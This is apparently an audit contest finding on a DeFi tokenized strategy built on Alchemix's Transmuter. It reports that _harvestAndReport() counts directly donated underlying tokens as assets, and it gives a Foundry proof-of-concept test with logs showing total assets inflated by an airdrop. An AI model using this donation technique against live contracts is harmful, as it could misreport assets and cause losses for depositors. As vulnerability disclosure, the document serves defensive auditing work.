DeFiFoundrySolidity
16,653 OP
View results
Submission Details
Severity: medium
Valid

Overestimation of total assets in `_harvestAndReport()`

Summary

_harvestAndReport() incorrectly includes the balance of the underlying token of the strategy, which might lead to insolvency of the Tokenized Strategy.

Vulnerability Details

The Tokenized Strategy relies on Alchemix's Transmuter for yield generation. The process works as follows:

The Transmuter performs a 1:1 exchange between alAsset deposits and underlying assets. The strategy interacts with this system through claimAndSwap(), which claims converted underlying assets and immediately swaps them on DEX. Under normal operation, the strategy should never hold underlying tokens.

However, _harvestAndReport() incorrectly includes the strategy's underlying token balance in total assets calculations. This creates a vulnerability where an attacker could artificially inflate the strategy's reported assets by sending underlying tokens directly to the contract. These tokens become permanently locked as they cannot be withdrawn or swapped through the strategy's intended mechanisms.

Impact

The tokenized strategy will be insolvent.

PoC

pragma solidity ^0.8.18;
import "forge-std/console.sol";
import {Setup, ERC20, IStrategyInterface} from "./utils/Setup.sol";
import {IStrategyInterfaceVelo} from "../interfaces/IStrategyInterface.sol";
import {IStrategyInterfaceRamses} from "../interfaces/IStrategyInterface.sol";
import {IVeloRouter} from "../interfaces/IVelo.sol";
import {IRamsesRouter} from "../interfaces/IRamses.sol";
contract PoCTest is Setup {
function setUp() public virtual override {
super.setUp();
deployMockYieldToken();
addMockYieldToken();
}
function claimAndSwap(uint256 claimable) public {
vm.prank(keeper);
if (block.chainid == 1) {
// Mainnet
IStrategyInterface(address(strategy)).claimAndSwap(claimable, claimable * 101 / 100, 0);
} else if (block.chainid == 10) {
// NOTE on OP we swap directly to WETH
IVeloRouter.route[] memory veloRoute = new IVeloRouter.route[]();
veloRoute[0] =
IVeloRouter.route(address(underlying), address(asset), true, 0xF1046053aa5682b4F9a81b5481394DA16BE5FF5a);
// Velo Iterface
IStrategyInterfaceVelo(address(strategy)).claimAndSwap(claimable, claimable * 101 / 100, veloRoute);
} else if (block.chainid == 42161) {
// ARB
// NOTE we swap first to eFrax and then to WETH
IRamsesRouter.route[] memory ramsesRoute = new IRamsesRouter.route[]();
address eFrax = 0x178412e79c25968a32e89b11f63B33F733770c2A;
ramsesRoute[0] = IRamsesRouter.route(address(underlying), eFrax, true);
ramsesRoute[1] = IRamsesRouter.route(eFrax, address(asset), true);
IStrategyInterfaceRamses(address(strategy)).claimAndSwap(claimable, claimable * 101 / 100, ramsesRoute);
} else {
revert("Chain ID not supported");
}
}
function alchemistDepositYieldIntoTransmuter(uint256 amount) public {
airdrop(underlying, address(transmuterBuffer), amount);
vm.prank(address(transmuterKeeper));
transmuterBuffer.exchange(address(underlying));
}
function logStrategyData() public view {
console.log("------------------Strategy Data------------------");
console.log("Total Assets:", strategy.totalAssets());
console.log("Claimable:", strategy.claimableBalance());
console.log("Unexchanged Balance:", strategy.unexchangedBalance());
console.log("Exchangable Balance:", transmuter.getExchangedBalance(address(strategy)));
console.log("\n");
}
function testPoC() public {
// Deposit
uint256 amount = 1 ether;
mintAndDepositIntoStrategy(strategy, user, amount);
console.log("Amount deposited:", amount);
logStrategyData();
// Airdrop undelying assets to the strategy
airdrop(underlying, address(strategy), amount);
// harvest and report
vm.prank(keeper);
strategy.report();
logStrategyData();
}
}

Logs:

Amount deposited: 1000000000000000000
------------------Strategy Data------------------
Total Assets: 1000000000000000000
Claimable: 0
Unexchanged Balance: 1000000000000000000
Exchangable Balance: 0
------------------Strategy Data------------------
Total Assets: 2000000000000000000
Claimable: 0
Unexchanged Balance: 1000000000000000000
Exchangable Balance: 0

Tools Used

Manual review

Recommendations

Don't account for the balance of undelying tokens, as the strategy is not supposed to has any.

Updates

Appeal created

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

_harvestAndReport should not contain the underlying balance to prevent donations having an impact.

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Dormant WETH is not properly treated

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.